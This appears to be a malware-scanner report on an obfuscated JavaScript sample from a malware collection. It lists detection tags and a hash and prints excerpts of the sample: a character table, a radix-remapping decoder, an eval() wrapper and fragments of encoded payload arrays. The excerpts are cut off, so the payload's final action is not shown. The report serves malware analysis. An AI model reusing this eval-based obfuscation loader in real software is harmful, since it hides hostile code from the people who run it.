Suspicious ^66% javascript-malware-collection Download

42947468d09bdf760327bd15ab55da6f989822feb7c96251464e08913eae7b5c.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-25642947468d09bdf760327bd15ab55da6f989822feb7c96251464e08913eae7b5c

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var UemiVbYDVGfeo=[];
2bcOkumm=(-981+981)/413;while(true){if(bcOkumm>=(82816+0)/647){break;}UemiVbYDVGfeo[bcOkumm]=String.fromCharCode(bcOkumm);bcOkumm++;}
3function UyZOr(sGKJeYhrNrq,COmYzYFGddFIw,grnKhfzP){hvBp=parseInt(sGKJeYhrNrq,COmYzYFGddFIw);SocJY=hvBp.toString(grnKhfzP);return SocJY;}function EClFzSEfhhQUqeF(KuUQywLVfruNKlbZk){eval(KuUQywLVfruNKlbZk)}
4function lnuehEPaSaAgvTkRxnlqbkpLrtdmDzvudIVStWNWOpEuaMWXPUVAxB(QqTQADQOGBuIj,jkJaYIitCEmBme){ return UemiVbYDVGfeo[UyZOr(QqTQADQOGBuIj[jkJaYIitCEmBme],(20762+313)/843,(5854+16)/587)];}
5function SkXKacp(iliNQaxPmDkaNTPphMzowFwZkdkeomFmNtfS) {return !isNaN(parseFloat(iliNQaxPmDkaNTPphMzowFwZkdkeomFmNtfS)) && isFinite(iliNQaxPmDkaNTPphMzowFwZkdkeomFmNtfS);}
6function XBaUvWZGuxQ(JIaAdUlu,nicgZi){return JIaAdUlu.split(nicgZi)}
7var D=[];D[0]="d";D[1]="a";D[2]="d";D[3]="a";D[4]="4i";D[5]="3m";D[6]="4e";D[7]="17";D[8]="3a";D[9]="17";D[10]="2b";D …

Massive array index assignment line 8

8:4324… ";l[861]="4g";l[862]="4e";l[863]="4l";l[864]="17";l[865]="17";l[866]="4n";l[867]="d";l[868]="a";l[869]="17";l[870]="17";l[871]="17";l[872]="17";l[873]="17";l[874]="17";l[875]="17";l[876]="17";l[877]="17";l[878]="17";l[879]="45";l[880]="42";l[881]="17";l[882]="1f";l[883]="1f";l[884]="1f";l[885]="4a";l[886]="41";l[887]="4j";l[888]="17";l[889]="2i";l[890]="3m";l[891]="4g";l[892]="41";l[893]="1f";l[894]="1g";l …